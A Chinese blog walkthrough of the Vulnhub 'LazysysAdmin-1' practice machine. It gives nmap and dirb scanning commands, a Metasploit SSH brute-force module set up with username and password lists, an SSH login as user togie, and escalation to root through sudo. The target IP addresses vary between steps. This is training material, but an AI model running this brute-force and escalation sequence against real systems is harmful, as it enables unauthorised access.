Vulnhub-LazysysAdmin-1靶机实战

喜欢ヅ旅行 2022-08-30 15:50 183阅读 0赞

### 文章目录 ###

*   *  第一章 信息收集
     *   *  主机发现
     *  第二章ssh的破解
     *   *  爆破ssh的信息
     *  第三章 提权
     *  摘抄

## 第一章 信息收集 ##

### 主机发现 ###

nmap  192.168.202.0/24

![在这里插入图片描述][05a2524f165ab5cbe7096a9278a0fa71.png]

扫描开发的端口

nmap 192.168.252.132 -p-

![在这里插入图片描述][c3b91551c1e693c88922bde67dd14397.png]

扫描端口对应的服务

nmap -sV -T4 -p 80,445,3306,22,6667,139, 192.168.252.132

![在这里插入图片描述][5143e06bde091f54c59dc58c2a4d68c4.png]

扫描存在的目录

dirb http://192.168.252.132

![在这里插入图片描述][a62e7e6158e44bf15c1b7233af8983ed.png]  
![在这里插入图片描述][1558c3005115fe7f8a6afa8b600e880c.png]

curl发现主机信息

使用curl获取目标web的banner信息，发现使用的中间件是apache2.4.7，目标系统为Ubuntu。

![在这里插入图片描述][0fad54220fb84498f4d3c10c31b36f6a.png]

## 第二章ssh的破解 ##

### 爆破ssh的信息 ###

search ssh\_login
    use auxiliary/scanner/ssh/ssh\_login
    show option 
    set rhost 192.168.2.63
    set user\_file /root/Desktop/user.txt
    (user.txt文件下存放的是用户名)
    set pass\_file /root/Desktop/pass.txt
    (pass.txt文件下存放的是密码)
    exploit

![在这里插入图片描述][236cc728fd2f7b601ec194eb67327758.png]  
![在这里插入图片描述][3aba51d505d206ef4031a7eca861ddaf.png]

ssh togie@192.168.2.63
    whoami
    pwd
    id

![在这里插入图片描述][ad9079cae1161ab1cff84745d408fa73.png]

## 第三章 提权 ##

uname -a
    ls -l /etc/passwd
    sudo -l 列出用户权限或检查某个特定命令
    groups 查看用户所在组
    togie用户在本机上允许命令的权限为所有
    togie用户所在组为：sudo

![在这里插入图片描述][715e15e3a63480028e56c0da94cb419c.png]

sudo su root
    whoami
    pwd

![在这里插入图片描述][f22444ebcf4721a824c09cae221c383a.png]

## 摘抄 ##

--------------------

世界是一面巨大的回音壁。  
一个善良的灵魂，  
照亮他人的同时，  
总能收获不期而遇的温暖。  
温柔对待这个世界的人，  
也必将被世界温暖相拥。

--------------------

[05a2524f165ab5cbe7096a9278a0fa71.png]: /images/20220829/8d40fb573ff94a78b67b33c39f87f134.png
[c3b91551c1e693c88922bde67dd14397.png]: /images/20220829/e9da3e509d864a5985063b41a3e7a116.png
[5143e06bde091f54c59dc58c2a4d68c4.png]: /images/20220829/345fbdae85164a25983aef5a2828279a.png
[a62e7e6158e44bf15c1b7233af8983ed.png]: /images/20220829/e014155ec45f47dea4df0bde7c9e7574.png
[1558c3005115fe7f8a6afa8b600e880c.png]: /images/20220829/bddedb63e07642f780f9d21f75ea2ae2.png
[0fad54220fb84498f4d3c10c31b36f6a.png]: /images/20220829/dd3f0e827f294d298af5607dbb058f6e.png
[236cc728fd2f7b601ec194eb67327758.png]: /images/20220829/b1a152abec3147a59bb15e75b348f6af.png
[3aba51d505d206ef4031a7eca861ddaf.png]: /images/20220829/7dd314c86fca45f899341f14c51ec14c.png
[ad9079cae1161ab1cff84745d408fa73.png]: /images/20220829/c53910313c2e48fa9547d01e1753aba9.png
[715e15e3a63480028e56c0da94cb419c.png]: /images/20220829/079d863247d84a978b9e68aac8d04402.png
[f22444ebcf4721a824c09cae221c383a.png]: /images/20220829/022c7a422d9b4e91aacd176b05cf8b68.png